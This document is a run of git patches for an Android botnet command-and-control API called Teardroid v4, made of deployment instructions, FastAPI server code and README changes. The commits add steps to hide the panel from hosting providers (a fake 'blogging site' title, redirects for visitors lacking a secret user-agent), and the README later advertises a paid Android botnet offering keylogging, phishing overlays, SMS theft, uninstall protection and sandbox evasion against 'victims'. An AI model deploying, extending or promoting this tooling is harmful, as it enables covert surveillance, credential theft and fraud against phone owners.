From 8a131c28f8edf8cb923bec0db49a1d7b9fb9d6d7 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Tue, 12 Jul 2022 14:25:45 +0530 Subject: [PATCH 01/31] Update README.md --- README.md | 30 ++++++++++++++++++++++++++++-- 1 file changed, 28 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 471a1e1..1d36dec 100644 --- a/README.md +++ b/README.md @@ -5,6 +5,32 @@ This api is for teardroid v4 botnet Please visit https://github.com/ScRiPt1337/Teardroid-phprat to know about teardroid and how to use it -You can host it on [deta.sh](https://deta.sh/) +### Deploy the Teardroid control panel -[![Deploy](https://button.deta.dev/1/svg)](https://go.deta.dev/deploy?repo=https://github.com/ScRiPt1337/Teardroidv4_api) +- Set up an account at [deta.sh](https://web.deta.sh/) +- Install [Deta Cli](https://docs.deta.sh/docs/cli/install) +- Logging in to Deta via the CLI +- Create a new Python Micro using the command below + +```bash +$ deta new --python teardroid_control # its will create an teardroid_control folder +``` + +- Clone [Teardroidv4_api](https://github.com/ScRiPt1337/Teardroidv4_api) repo using the command below + +```bash +$ git clone https://github.com/ScRiPt1337/Teardroidv4_api +``` + +- Move all Teardroidv4_api Files to teardroid_control folder using the command below + +```bash +$ cd Teardroidv4_api +$ cp -r * ../teardroid_control/ +``` + +- Deploy the Control panel using the following command. + +```bash +$ deta deploy +``` From 022e8244a77e971514a7bc6b9fd02d3620f4476f Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Fri, 11 Nov 2022 18:42:26 +0530 Subject: [PATCH 02/31] updating title --- main.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/main.py b/main.py index adf2e2a..04d4331 100644 --- a/main.py +++ b/main.py @@ -13,10 +13,11 @@ app = FastAPI( - version="4.0", - title="Teardroid v2 - BOTNET", - description="Teardroid v2 - BOTNET", + version="5.0", + title="New blogging site", + description="New blogging site", redoc_url=None, + docs_url=None ) origins = ["*"] @@ -68,6 +69,6 @@ async def root(): return RedirectResponse("/v4/overview") -@app.get("/version") -async def version(): - return {"version": app.version} +# @app.get("/version") +# async def version(): +# return {"version": app.version} From 5b68cf9c692bf9e8a28b665c835ab5010401b164 Mon Sep 17 00:00:00 2001 From: Praise Christopher <81590267+krisdowis@users.noreply.github.com> Date: Mon, 21 Nov 2022 19:03:15 +0100 Subject: [PATCH 03/31] Update README.md add instructions on how to host on localhost --- README.md | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) diff --git a/README.md b/README.md index 1d36dec..9461946 100644 --- a/README.md +++ b/README.md @@ -34,3 +34,41 @@ $ cp -r * ../teardroid_control/ ```bash $ deta deploy ``` + +### Run control panel on your own server + +- Clone [Teardroidv4_api](https://github.com/ScRiPt1337/Teardroidv4_api) repo using the command below + +```bash +$ git clone https://github.com/ScRiPt1337/Teardroidv4_api +``` + +- Install uvicorn + +```bash +$ sudo apt-get install uvicorn +$ python3 -m pip install uvicorn +``` + +- Change dir to Teardroidv4_api + +```bash +$ cd Teardroidv4_api +``` + +- Install all dependency + +```bash +$ pip install -r requirements.txt +``` + +- Run teardroid api + +```bash +$ screen +# press enter to go inside the screen session +$ uvicorn main:app --host 0.0.0.0 --port 80 +# now close your terminal windows and we are good to go +``` + +- Done From 48afcf21a3de66b27718aac433e1cb315c6f55bf Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Sun, 18 Dec 2022 00:11:03 +0530 Subject: [PATCH 04/31] Update README.md --- README.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/README.md b/README.md index 9461946..08fe204 100644 --- a/README.md +++ b/README.md @@ -62,6 +62,18 @@ $ cd Teardroidv4_api $ pip install -r requirements.txt ``` +- Change project key to connect with database +- Set up an account at [deta.sh](https://web.deta.sh/) and go to project keys and create a new key and copy it +```bash +$ nano ./db/database.py +from deta import Deta +from os import getenv + +deta = Deta(getenv("DETA_PROJECT_KEY")) => deta = Deta("demo project key") +# replace getenv("DETA_PROJECT_KEY") with your deta.sh project key +# make sure your remove getenv +``` + - Run teardroid api ```bash From ab94f549a1c96591663de0eb06d7252ca1ad74d6 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Sun, 18 Dec 2022 00:17:08 +0530 Subject: [PATCH 05/31] Update README.md --- README.md | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 08fe204..9781509 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,18 @@ This api is for teardroid v4 botnet Please visit https://github.com/ScRiPt1337/Teardroid-phprat to know about teardroid and how to use it -### Deploy the Teardroid control panel +### Deploy the Teardroid control panel ( automatically ) ( recommend ) + +- Set up an account at [deta.sh](https://web.deta.sh/) +- Login into your account and go to settings ( [settings ](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/deta_dash.png) | [create access token ](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/token2.png) ) +- click on create access token and copy the access token +- run python3 setup.py +- it will ask you for the access token paste the access token. +- ![TaskManager](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/20507b2c-0668-4b21-913b-aeab369f0229.gif) +- Done and here is your control panel url. +- ![TaskManager](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/control_url.png) + +### Deploy the Teardroid control panel ( Manually ) - Set up an account at [deta.sh](https://web.deta.sh/) - Install [Deta Cli](https://docs.deta.sh/docs/cli/install) @@ -29,6 +40,12 @@ $ cd Teardroidv4_api $ cp -r * ../teardroid_control/ ``` +- Go back to the deta repo folder using the command below + +```bash +$ cd ../teardroid_control/ +``` + - Deploy the Control panel using the following command. ```bash From 1651f57c4e91a1b6430e0c384ffc6ebf3f82f1c1 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Thu, 5 Jan 2023 02:21:24 +0530 Subject: [PATCH 06/31] added geo fencing --- db/__pycache__/database.cpython-310.pyc | Bin 830 -> 865 bytes db/database.py | 2 +- main.py | 19 ++++++++++++++---- routers/__pycache__/__init__.cpython-310.pyc | Bin 160 -> 162 bytes .../auth/__pycache__/__init__.cpython-310.pyc | Bin 165 -> 167 bytes routers/auth/__pycache__/auth.cpython-310.pyc | Bin 2126 -> 2052 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 167 -> 169 bytes .../client/__pycache__/client.cpython-310.pyc | Bin 2183 -> 2185 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 168 -> 170 bytes .../__pycache__/command.cpython-310.pyc | Bin 5293 -> 5295 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 173 -> 175 bytes .../__pycache__/notification.cpython-310.pyc | Bin 2661 -> 2663 bytes 12 files changed, 16 insertions(+), 5 deletions(-) diff --git a/db/__pycache__/database.cpython-310.pyc b/db/__pycache__/database.cpython-310.pyc index efec3fc30b9fe93a33296753458dcfbfc75111b4..876567994e94cb95fe5047dac92672a9467582ac 100644 GIT binary patch literal 865 zcmah|&2H2%5Vn(S{+ea^Iq(d*R9*fgDuk+bRggd{BtRf5(kjWAHfR&CY;Qz4f#AwJ zz_Aw&yaI2LYfqfHabhNgvPfNZBF~IHlkXeP$Z9x@8Oqm_Z{;V>*a>Y`#lg)EF7p@_ zFyM1mbHO?J&fKY8;c_N9xF5J+;KAS{6CU^wpdCO65n3N&*gzXV0z}6kDbl~h3lrJZ^ao^_+uG$h)f#9j^2yO<^@RbA%|tY?V-WFYwH z44k}+!M%KG57#3H6h_!Z_U{ljX%>cHZGguA(zdqaHxhm^w!p?V{69OH(g(e|xI1Pd}F+yjLq&&gFf4I?P-~m9T_| LPUwaneTnxQV%?>u literal 830 zcma)5!A{#i5Z$$%I5AF2Kf@OczEnsRYT9s0%Yh!KETm}dapM(nHeIi2!wE#cq35{odh4k(4uT*NwX@n8&+g2dH#@TG^*o01?dPpH=8RpFvnm!kuW*;7fB~Pf zg2$Y*jDvN_V+J-jUs-HH3)*OHaG`_Nfi8GxTd)B>+BWpwv!H*2C@kQ$Gt7*LgLM1T zi)eC|kG~AwMLTZ~N6{h`MpwK0lSCbT$R~r(C(&U%%2Uc)6&sy5xPKFU!@hIiKR8yf z4(fI~mD$W(S+xUH#d$5t?22g@BOCQ+FU(bug=MPc+=N4wRs|-M;Y6CeNtgK5QGs40&UF~b$3}|3`vV9&>MMNchRinsfjSL^JmJ)j}qIIYNjdwf!Ok^ zgJ<=#)i5kXhnjlTKB|A0aZ^vpxJXSV;*!>sYvKTE6`kOsSir diff --git a/db/database.py b/db/database.py index 03b4ec8..a452666 100644 --- a/db/database.py +++ b/db/database.py @@ -1,7 +1,7 @@ from deta import Deta from os import getenv -deta = Deta(getenv("DETA_PROJECT_KEY")) +deta = Deta(getenv("DETA_PROJECT_KEY")) def client_db(): diff --git a/main.py b/main.py index 04d4331..ce7484c 100644 --- a/main.py +++ b/main.py @@ -13,9 +13,6 @@ app = FastAPI( - version="5.0", - title="New blogging site", - description="New blogging site", redoc_url=None, docs_url=None ) @@ -41,7 +38,21 @@ class Settings(BaseModel): authjwt_secret_key: str = "jaihind" -# callback to get your configuration +async def get_geo_location(ip): + try: + return requests.get('http://ip-api.com/json/' + ip).json()["countryCode"] + except: + return "IN" + + +@app.middleware('http') +async def validate_ip(request: Request, call_next): + user_code = await get_geo_location(ip) + if user_code == "DE": + return RedirectResponse("https://fly.io") + return await call_next(request) + + @AuthJWT.load_config def get_config(): return Settings() diff --git a/routers/__pycache__/__init__.cpython-310.pyc b/routers/__pycache__/__init__.cpython-310.pyc index 2d6d26526e6b6305df8ba87474021b0fced4420a..5fa866feebbba22bdb368b525af0c25eaaf2e62f 100644 GIT binary patch delta 83 zcmZ3$xQLM_pO=@50SG2~<|R+$v9@+~wu%WYPAw{qDNZiREQoQ*PcF?(%_}L6anCIA jC{2n9Nlh$DDay}GDKm*rEXa(}iz&)4Edgnm*q{IaJ~te| delta 110 zcmZ3)xPXx-pO=@50SLG@JWZU)V;$+NpOK%Ns$ZO3lvz-s?~zfpP5o-6rWg-sjsJBlwVqsT2!nbAD@|*SrQ+wS5SG2!zMRBr8FnijuB{b KF%ytrVE_QiMI$Ew diff --git a/routers/auth/__pycache__/__init__.cpython-310.pyc b/routers/auth/__pycache__/__init__.cpython-310.pyc index 30e703bcb7b2067d999eab9eb63d759295293779..6468a933091de16c51888e0d19628793a504aaf3 100644 GIT binary patch delta 88 zcmZ3=xSWwEpO=@50SG2~<|R+$v3Brswu%WYPAw{qDNZiREQoQ*PcF?(%_}L6anCIA oC{2n9Nlh$DDay}GDKm*rEXa(}iz&)4EdgmrEG@~1nb@iT0NQ{a=Kufz delta 86 zcmZ3^xRjA6pO=@50SNpTze}9RV{PZ5pOK%Ns$ZO3lvz-s?~zfpP5o-6rWg-sjsJBlwVqsT2!o`SXz>yKe1f_0JN4J(f|Me diff --git a/routers/auth/__pycache__/auth.cpython-310.pyc b/routers/auth/__pycache__/auth.cpython-310.pyc index 052ec4616dc6f4e8a1e7f1ef70452cf6d08257e3..30c6607ce67681fce8a3aa4ebaf7d6666991ed04 100644 GIT binary patch delta 1050 zcmZ8fOHb5L6u!6Z3}u+klmP?;d<{OT0Wrat7-M35ARA)@HB_6u-A1a zMpH6CfLs@KS&?<4Vo0`)_3qq_EhV7`>=g;Ukb}NZh7$7c&5EP)9Z|{832>mWEuf&R zj#(*?T?ChGSKCGChtjsFxXRh-hk;$GjE-2A#4f;~$}L+k1ShsL9a$-9#_$otRYlDx zTQCBnnlb<<7lb#q&)PjB?Y;AO{zeEPJRE+`*Th)8bpj}suII7Nt@x%5~by4{U*bL#tY|U?l)#)ng1X0y* z$EzBqTN_xUVEy#{$`a&+E%OqK$xma#E|9~su>XU3_EL$?I`4ll%0B+}1RqXnE15SZ z7G~%eiygTuo*A1WHeZX51i5D55P2;y=runXyOIa9AbK@=)+3bkUnS#1J#2h2(A5D6 zybRjOcXM*;sCeYmX)ah*!CH;086!Kg334QVP-YD*C#S4;`3Z9Au=`z^e6?QOXAYiX zI0}!a**wF*El39fRDP^#eh{cAs>RJU)xZqhP%pSyIGNNlBV)(K_yDzFJ){Yglby^( zIg@hH2f2VHazFKS#8j|h91-v>+6B->x| zX?3~4G<&d>2d&lZDzn>aHKQ1LleDJ)YSC4VieVzzx9Ux3udCa B?+^e0 delta 1143 zcmZ8fzi-<{6uu+%%d#X(vYfcF)HaP9n}bcjL7SxrP$WUq4nbOH;-b=gXN#67s_#xo z4K#28dB~C>AhLCc$4;5^PZTJSi9?Y!*@|wR`rcVd15@Cq_rCY>?)^Gx{?V+b^?Fs% z^YYc-Vg9t<>%Aoh1jvy{L?9&F&PXOs;3RJF^yc+rBFdwB(g+$-Ch!Th?zu8tYXzFzGF#CwdRtK;F6WBz}l|xx^K7^Pv#W}jWThfJU3tX`rfxc zq*J3Xuiv?U|K9DNBQ-H`I?lS%Yc&sbIu7?ns;|aT3JSAbc}2d-9?Cz}8XblV|K9Qk zX`*}`VLUPZtu&e@YHYNB5Szht&o?SWz%+&jJN$a~_?vSod7iss!J=2Xi_7$NPz)i7$0*q@55j1uRrI@KWA;j~ zh}G*0s7G>rm?JNKNdIS zPWHI?Y>`_wPaxYYb?cjagF945o`cu2?@Rvi7At%LubS5mADTX@pQbS?!2fgom^J6p zEKMi8WcUfkYIVTgSP=8{l0stdOA4&iK diff --git a/routers/client/__pycache__/client.cpython-310.pyc b/routers/client/__pycache__/client.cpython-310.pyc index 885702cfea689f0b7c1e0eee41cd82491516c01c..e443926679077c5805827c6e2c094ef4b108bcab 100644 GIT binary patch delta 195 zcmZn{>=fk9=jG*M0D_60dC7enc@3GJyqv9KLW@(2ierkCi!uvhT=J7kb5rw5ieua} zOFT-GVnR|Ai&Bd6GgHb;;u8xpWAtK*@=HrV8j^D|feK?L*D<#-MongANn})*oX&EK zQFXEtYbvASyBbi14ZAa=;p7JP f8PWnG=A0u|~{ZeVU>yfvAfC6Q5aawf|y zMzzTUqL0H)luvaoyD4LMH-XE+10?RL?#EZ p>oXcnZepLIpa@iTi=`mHxTHu8$Sl$X5n3R^2t-JO4fW-)0RRx5JKX>P diff --git a/routers/command/__pycache__/__init__.cpython-310.pyc b/routers/command/__pycache__/__init__.cpython-310.pyc index 3c0462de1c33cf6a8afa563c6a873dbc4e8a391f..3a246fe5642134f5a5c31d0529435f9ad54453fc 100644 GIT binary patch delta 91 zcmZ3%xQdY{pO=@50SG2~<|R+$v3B-#wu%WYPAw{qDNZiREQoQ*PcF?(%_}L6anCIA rC{2n9Nlh$DDay}GDKm*rEXa(}iz&)4Edgmr&d<$F%u9)x*r5ObJxL%V delta 89 zcmZ3*xPp-zfpP5o-6rWg-sjsJBlwVqsT2!o`oS&PUn3tkIu}c8}5y~G0 diff --git a/routers/command/__pycache__/command.cpython-310.pyc b/routers/command/__pycache__/command.cpython-310.pyc index 2d0af08fb288e50b8cf8346a90ce568beaa5c119..b7639b0f9f109742dd15e46071b23deec6e54e2e 100644 GIT binary patch delta 96 zcmZ3hxn7empO=@50SG2~<|T_uY~<@;arSYxiU}=FEh>&FPAxSo+GpO=@50SG2~<|R+$vGxdZwu%WYPAw{qDNZiREQoQ*PcF?(%_}L6anCIA wC{2n9Nlh$DDay}GDKm*rEXa(}iz&)4EdgoB%P+}H%S=uz$;{7-nb@lU0PI5|WB>pF delta 94 zcmZ3_xR#M8pO=@50SHR#-X>1uv33j4&&bbB)h|vi$}A|+cgasK%}vcKDb`QVEXgQM w(l1F(EJ`WL&rB&Zicc)a)YsE5$}cTREh^T}%P+}H%S=uz$;{8wpV+Se0KV`cPXGV_ diff --git a/routers/notification/__pycache__/notification.cpython-310.pyc b/routers/notification/__pycache__/notification.cpython-310.pyc index 648bfe2889722828b301eeef4d22cf957dd0cdb4..da3d800afdffb6a96c57d40ef04a3279e6833ab3 100644 GIT binary patch delta 531 zcmZvYze__g5XVh_qX-iJPPU!oyXZ#9bG26NWjlM-qZkmx1eXc5w{d8|0`;ezDeCMZ= z`c6avJ`K}cehKF4)ByCuMKTgDu)K_Q~6;&yGqP;wXQ{;I9G+|$c~n-!xXz^XyXW7hQcOW*9#9070fWVRQCuY>>)(@4 Bc-#O0 delta 531 zcmaDZ@>GO3pO=@50SIP%`YgRc8nI2Z8&OyZrR15;VB2yuE~bYqFZb!sX3{@zyjF- zG?^b{8`z^DKVq7!&1uAFH93xRrk*-b{uXn3YDtj Date: Thu, 5 Jan 2023 03:28:49 +0530 Subject: [PATCH 07/31] old_code --- config.py | 1 + main.py | 20 +++++++------------- requirements.txt | 2 +- test/__init__.py | 0 test/test.py | 0 5 files changed, 9 insertions(+), 14 deletions(-) create mode 100644 config.py delete mode 100644 test/__init__.py delete mode 100644 test/test.py diff --git a/config.py b/config.py new file mode 100644 index 0000000..bd92e12 --- /dev/null +++ b/config.py @@ -0,0 +1 @@ +USER_AGENT = "hello" diff --git a/main.py b/main.py index ce7484c..3435cbd 100644 --- a/main.py +++ b/main.py @@ -10,6 +10,7 @@ from routers.command import command from routers.notification import notification from routers.auth import auth +from config import USER_AGENT app = FastAPI( @@ -38,19 +39,12 @@ class Settings(BaseModel): authjwt_secret_key: str = "jaihind" -async def get_geo_location(ip): - try: - return requests.get('http://ip-api.com/json/' + ip).json()["countryCode"] - except: - return "IN" - - -@app.middleware('http') -async def validate_ip(request: Request, call_next): - user_code = await get_geo_location(ip) - if user_code == "DE": - return RedirectResponse("https://fly.io") - return await call_next(request) +# @app.middleware('http') +# async def validate_ip(request: Request, call_next): +# user_code = str(request.headers.get("user-agent")) +# if user_code != USER_AGENT: +# return RedirectResponse("https://fly.io") +# return await call_next(request) @AuthJWT.load_config diff --git a/requirements.txt b/requirements.txt index fd89d01..63f22d6 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,4 @@ -fastapi +fastapi==0.79.0 deta python-multipart fastapi-jwt-auth \ No newline at end of file diff --git a/test/__init__.py b/test/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/test/test.py b/test/test.py deleted file mode 100644 index e69de29..0000000 From f5f36e04d0b19dc77b90fcb1dd3c42bb61f69d32 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Thu, 5 Jan 2023 03:29:48 +0530 Subject: [PATCH 08/31] check useragent --- main.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/main.py b/main.py index 3435cbd..925e362 100644 --- a/main.py +++ b/main.py @@ -39,12 +39,12 @@ class Settings(BaseModel): authjwt_secret_key: str = "jaihind" -# @app.middleware('http') -# async def validate_ip(request: Request, call_next): -# user_code = str(request.headers.get("user-agent")) -# if user_code != USER_AGENT: -# return RedirectResponse("https://fly.io") -# return await call_next(request) +@app.middleware('http') +async def validate_ip(request: Request, call_next): + user_code = str(request.headers.get("user-agent")) + if user_code != USER_AGENT: + return RedirectResponse("https://fly.io") + return await call_next(request) @AuthJWT.load_config From ab960a0ca8c35230689a3a8f2496dd2e48e4b328 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Thu, 5 Jan 2023 18:04:21 +0530 Subject: [PATCH 09/31] update main --- main.py | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/main.py b/main.py index 925e362..ecd3be3 100644 --- a/main.py +++ b/main.py @@ -33,18 +33,18 @@ allow_methods=["*"], allow_headers=["*"], ) +REDIRCT_URL = "https://en.wikipedia.org/wiki/Special:Random?action=render" class Settings(BaseModel): authjwt_secret_key: str = "jaihind" -@app.middleware('http') -async def validate_ip(request: Request, call_next): +async def check_agent(request: Request): user_code = str(request.headers.get("user-agent")) if user_code != USER_AGENT: - return RedirectResponse("https://fly.io") - return await call_next(request) + return True + return False @AuthJWT.load_config @@ -60,17 +60,23 @@ def authjwt_exception_handler(request: Request, exc: AuthJWTException): @app.exception_handler(StarletteHTTPException) async def custom_http_exception_handler(request, exc): if exc.status_code == 404: + if await check_agent(request=request): + return RedirectResponse(REDIRCT_URL) return HTMLResponse(open("build/index.html", "rb").read()) return JSONResponse(status_code=exc.status_code, content={"detail": exc.detail}) @app.route("/v4") async def index(request: Request): + if await check_agent(request=request): + return RedirectResponse(REDIRCT_URL) return HTMLResponse(open("build/index.html", "rb").read()) @app.get("/") -async def root(): +async def root(request: Request): + if await check_agent(request=request): + return RedirectResponse(REDIRCT_URL) return RedirectResponse("/v4/overview") From 6a7e69a2f71ade5af5be9748dad14378167d56ab Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Thu, 5 Jan 2023 21:07:01 +0530 Subject: [PATCH 10/31] update reasdme.md --- README.md | 65 +++++++++++++++++++------------------------------------ 1 file changed, 22 insertions(+), 43 deletions(-) diff --git a/README.md b/README.md index 9781509..f3ba9bb 100644 --- a/README.md +++ b/README.md @@ -1,56 +1,26 @@ # Teardroidv4_api + Teardroid v4 Botnet API This api is for teardroid v4 botnet Please visit https://github.com/ScRiPt1337/Teardroid-phprat to know about teardroid and how to use it -### Deploy the Teardroid control panel ( automatically ) ( recommend ) - -- Set up an account at [deta.sh](https://web.deta.sh/) -- Login into your account and go to settings ( [settings ](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/deta_dash.png) | [create access token ](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/token2.png) ) -- click on create access token and copy the access token -- run python3 setup.py -- it will ask you for the access token paste the access token. -- ![TaskManager](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/20507b2c-0668-4b21-913b-aeab369f0229.gif) -- Done and here is your control panel url. -- ![TaskManager](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/control_url.png) - -### Deploy the Teardroid control panel ( Manually ) +### Deploy the Teardroid control panel on deta.sh - Set up an account at [deta.sh](https://web.deta.sh/) -- Install [Deta Cli](https://docs.deta.sh/docs/cli/install) -- Logging in to Deta via the CLI -- Create a new Python Micro using the command below - -```bash -$ deta new --python teardroid_control # its will create an teardroid_control folder -``` +- [Click here](https://github.com/ScRiPt1337/Teardroidv4_api/fork) to fork this repo into your github account and click create fork +- Teardroidv4_api repo will be forked into your account +- Open the forked repo and click on config.py file and Change the value of "hello" to any user_agent or text you want +- https://go.deta.dev/deploy?repo=your-repo-url reaplce your-repo-url with the url of your forked repo and open it on browser +- and click deploy +- change your user-agent of the browser with the value of USER_AGENT you have enter in config.py +- you can use this chrome extension to change user useragent [extension](https://chrome.google.com/webstore/detail/custom-useragent-string/lejiafennghcpgmbpiodgofeklkpahoe) +- DONE -- Clone [Teardroidv4_api](https://github.com/ScRiPt1337/Teardroidv4_api) repo using the command below +#### Deploy video on deta.sh -```bash -$ git clone https://github.com/ScRiPt1337/Teardroidv4_api -``` - -- Move all Teardroidv4_api Files to teardroid_control folder using the command below - -```bash -$ cd Teardroidv4_api -$ cp -r * ../teardroid_control/ -``` - -- Go back to the deta repo folder using the command below - -```bash -$ cd ../teardroid_control/ -``` - -- Deploy the Control panel using the following command. - -```bash -$ deta deploy -``` +!["scatter"](https://external-content.duckduckgo.com/iu/?u=https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/Animation.gif) ### Run control panel on your own server @@ -79,8 +49,9 @@ $ cd Teardroidv4_api $ pip install -r requirements.txt ``` -- Change project key to connect with database +- change project key to connect with database - Set up an account at [deta.sh](https://web.deta.sh/) and go to project keys and create a new key and copy it + ```bash $ nano ./db/database.py from deta import Deta @@ -91,6 +62,7 @@ deta = Deta(getenv("DETA_PROJECT_KEY")) => deta = Deta("demo project key") # make sure your remove getenv ``` +- open config.py and change the value of "hello" to any user_agent or text you want - Run teardroid api ```bash @@ -100,4 +72,11 @@ $ uvicorn main:app --host 0.0.0.0 --port 80 # now close your terminal windows and we are good to go ``` +- Change your user-agent of the browser with the value of USER_AGENT you have enter in config.py +- you can use this chrome extension to change user useragent [extension](https://chrome.google.com/webstore/detail/custom-useragent-string/lejiafennghcpgmbpiodgofeklkpahoe) - Done + +### IMPORTANT NOTICE + +- you will not be able to access the dashboard if you dont change your user-agent with the same value of USER_AGENT inside config.py file. +- its to make you the dashboard more secure and to protect it from geting auto deleted from deta.sh From ea864b12c2bb2039a1428afb5b2f8d521cac2c92 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Fri, 6 Jan 2023 12:23:37 +0530 Subject: [PATCH 11/31] Update README.md --- README.md | 71 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 71 insertions(+) diff --git a/README.md b/README.md index f3ba9bb..0a3fb02 100644 --- a/README.md +++ b/README.md @@ -76,6 +76,77 @@ $ uvicorn main:app --host 0.0.0.0 --port 80 - you can use this chrome extension to change user useragent [extension](https://chrome.google.com/webstore/detail/custom-useragent-string/lejiafennghcpgmbpiodgofeklkpahoe) - Done +### Need something more advanced try ( scatter alfa ) + +[!["Logo"](https://external-content.duckduckgo.com/iu/?u=https://i.ibb.co/7kXYDks/20221028-233129-0000.png)](https://breached.vc/Thread-Selling-SCATTER-ALFA-ANDROID-BOTNET) + +##### REAL TIME COMMUNICATION BETWEEN BECON AND SERVER + +##### SUPPORT ALL THE LATEST VERSION OF ANDROID + +##### STEALTHY, RESILIENT AND COST-EFFECTIVE + +##### SAND-BOX AND EMULATOR DETECTION + +##### ADVANCED ATTACK TECHNIQUES + +##### UNKILLABLE AND UNINSTALLABLE + +##### INBUILT GEO FENCING + +##### EASY TO OPERATE + +##### STABLE BECON + +##### VNC + +##### O NETWORK TRAFFIC IN IDLE MODE + +### Dashboard + +!["scatter"](https://external-content.duckduckgo.com/iu/?u=https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/scatter.png) + +!["dashboard"](https://external-content.duckduckgo.com/iu/?u=https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/dashboard.png) + +### Special features + +- Forground service bypass scatter does not show any notification while running in background. +- Auto launch bypass even in Chinese phone like redmi oppo vivo without auto launch permission. +- Does \_not_create network logs in idle mode only make HTTP connection when-command.is-executed. +- Android battery optimization bypass without any permission. + +### Features + +- Keylogger +- logs (log everything user click on) +- notification capture +- run ussd code +- fake notification attack +- injection +- popup fake login screen +- geo fencing +- dump sms calls contact apps +- download file +- shell command +- open url +- open apps +- auto allow permission +- uninstall protection (stop the victim from uninstalling the app) +- vnc +- take screenshot +- automatically take screenshot when user open any specific app +- block number ( you can block number from victim device so the number can't call the victim ) + +#### Interested in scatter alfa + +- Demo video available on my telegram channel => https://t.me/scatter1337 +- Pm me on telegram https://t.me/script1337 + +### Beware from scam + +- for paid project contact me on telegram +- I am only available on telegram and script1337 is my only account please double check the username + ### IMPORTANT NOTICE - you will not be able to access the dashboard if you dont change your user-agent with the same value of USER_AGENT inside config.py file. From 26a4634e5abfc9af66698ada487c7d1764533017 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Wed, 25 Jan 2023 00:49:55 +0530 Subject: [PATCH 12/31] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 0a3fb02..472472f 100644 --- a/README.md +++ b/README.md @@ -136,6 +136,7 @@ $ uvicorn main:app --host 0.0.0.0 --port 80 - take screenshot - automatically take screenshot when user open any specific app - block number ( you can block number from victim device so the number can't call the victim ) +- wake up device and able to run for 1 to 3 hour with screen off #### Interested in scatter alfa From c3fd30eea7e052b26f104a2c6df1ef7ebe9ef95c Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Wed, 25 Jan 2023 00:54:58 +0530 Subject: [PATCH 13/31] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 472472f..a5bb2fa 100644 --- a/README.md +++ b/README.md @@ -112,7 +112,7 @@ $ uvicorn main:app --host 0.0.0.0 --port 80 - Forground service bypass scatter does not show any notification while running in background. - Auto launch bypass even in Chinese phone like redmi oppo vivo without auto launch permission. -- Does \_not_create network logs in idle mode only make HTTP connection when-command.is-executed. +- Does not create network logs and does not make http request in idle mode. - Android battery optimization bypass without any permission. ### Features From 69dd976fb558bb8cf8419146d504ba288e724751 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Wed, 25 Jan 2023 22:19:08 +0530 Subject: [PATCH 14/31] Update README.md --- README.md | 26 ++++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index a5bb2fa..3e45d54 100644 --- a/README.md +++ b/README.md @@ -117,25 +117,27 @@ $ uvicorn main:app --host 0.0.0.0 --port 80 ### Features -- Keylogger +- Keylogger ( capture everything client type on there keyboard ) - logs (log everything user click on) -- notification capture -- run ussd code -- fake notification attack -- injection -- popup fake login screen +- notification capture ( capture all the notification client recive ) +- run ussd code ( run ussd code for call forwarding etc ) +- fake notification attack ( send phishing link using fake notification that look like is from facebook, microsoft etc ) +- injection ( add injection dynamically according to the installed apps on the client device ) +- popup fake login screen ( popup any page on clients home page without url bar or title bar (so the client will think its from google or any other app)) - geo fencing -- dump sms calls contact apps +- dump sms, calls, contacts, installed apps - download file - shell command -- open url -- open apps -- auto allow permission -- uninstall protection (stop the victim from uninstalling the app) +- open url ( open any url on browser ) +- open apps ( open any app on client device using there package name ) +- auto allow permission ( automatically grant all the run time permission ) +- uninstall protection (stop the victim from uninstalling the app or force stop the app) - vnc - take screenshot -- automatically take screenshot when user open any specific app +- automatically take screenshot when user open any specific app ( example: if you set it to whatsapp it will take screenshot of the client's whatsapp whenever client will open whatsapp and click anything like opening convo or clicking on the send button ) - block number ( you can block number from victim device so the number can't call the victim ) +- install any apk file in victim device +- uninstall any app from victim device - wake up device and able to run for 1 to 3 hour with screen off #### Interested in scatter alfa From a7c5838c48178a83f73f16520a7299695b75fdd5 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: 